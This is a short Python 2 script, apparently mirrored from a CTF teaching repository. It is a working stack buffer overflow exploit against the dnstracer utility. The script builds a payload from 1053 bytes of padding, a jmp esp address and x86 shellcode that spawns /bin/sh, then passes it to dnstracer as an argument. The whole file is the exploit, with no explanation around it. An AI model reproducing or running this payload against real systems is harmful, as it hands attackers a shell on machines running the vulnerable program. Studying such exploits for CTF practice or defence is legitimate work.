mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-03-14 08:47:33 +07:00
17 lines
410 B
Python
17 lines
410 B
Python
import os
|
|
from subprocess import call
|
|
|
|
def exp():
|
|
filling = "A"*1053
|
|
jmp_esp = "\x5f\xcc\x04\x08"
|
|
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
|
|
|
|
payload = filling + jmp_esp + shellcode
|
|
call(["dnstracer", payload])
|
|
|
|
if __name__ == '__main__':
|
|
try:
|
|
exp()
|
|
except Exception as e:
|
|
print "Something went wrong"
|